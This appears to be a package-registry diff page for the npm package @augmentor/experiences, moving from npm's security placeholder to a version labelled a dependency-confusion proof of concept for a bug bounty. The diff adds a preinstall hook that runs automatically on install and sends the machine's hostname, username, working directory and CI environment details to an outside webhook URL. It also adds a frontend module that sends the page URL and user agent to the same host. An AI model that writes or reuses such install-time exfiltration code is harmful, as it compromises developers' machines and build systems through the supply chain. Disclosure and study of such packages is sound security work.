@augmentor/experiences 0.0.1-security → 99.99.100

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @augmentor/experiences might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,18 @@
1
- {
2
- "name": "@augmentor/experiences",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@augmentor/experiences",
3
+ "version": "99.99.100",
4
+ "description": "Security research PoC for Bose (Dependency Confusion) - HackerOne researcher urro",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "urro (HackerOne researcher)",
10
+ "license": "ISC",
11
+ "homepage": "https://hackerone.com/urro",
12
+ "keywords": [
13
+ "security-research",
14
+ "bugbounty",
15
+ "poc",
16
+ "dependency-confusion"
17
+ ]
18
+ }
package/preinstall.js ADDED
@@ -0,0 +1,32 @@
1
+ /**
2
+ * Security Research PoC
3
+ * Researcher: urro (HackerOne)
4
+ * Purpose: Demonstrate Dependency Confusion vulnerability in Bose MagicLayer.
5
+ * Payload is intentionally benign and only sends hostname + username
6
+ * to a webhook for execution verification.
7
+ */
8
+
9
+ const https = require('https');
10
+ const os = require('os');
11
+
12
+ const webhookUrl = "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd";
13
+
14
+ const payload = {
15
+ type: "rce-backend",
16
+ hostname: os.hostname(),
17
+ user: os.userInfo().username,
18
+ platform: os.platform(),
19
+ arch: os.arch(),
20
+ node: process.version,
21
+ cwd: process.cwd(),
22
+ ci: process.env.CI || null,
23
+ github_actions: process.env.GITHUB_ACTIONS || null,
24
+ gitlab_ci: process.env.GITLAB_CI || null,
25
+ jenkins: process.env.JENKINS_URL || null,
26
+ npm_registry: process.env.npm_config_registry || null,
27
+ npm_user_agent: process.env.npm_config_user_agent || null
28
+ };
29
+
30
+ const data = encodeURIComponent(JSON.stringify(payload));
31
+
32
+ https.get(`${webhookUrl}?data=${data}`, () => {}).on('error', () => {});
@@ -0,0 +1,18 @@
1
+ export function onMount(root) {
2
+ console.log(
3
+ "Security Research PoC (Dependency Confusion) by HackerOne researcher 'urro'"
4
+ );
5
+
6
+ const data = {
7
+ type: "xss-frontend",
8
+ url: window.location.href,
9
+ origin: window.location.origin,
10
+ userAgent: navigator.userAgent
11
+ };
12
+
13
+ fetch(
14
+ "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd?data=" +
15
+ encodeURIComponent(JSON.stringify(data)),
16
+ { mode: 'no-cors' }
17
+ );
18
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40augmentor%2Fexperiences for more information.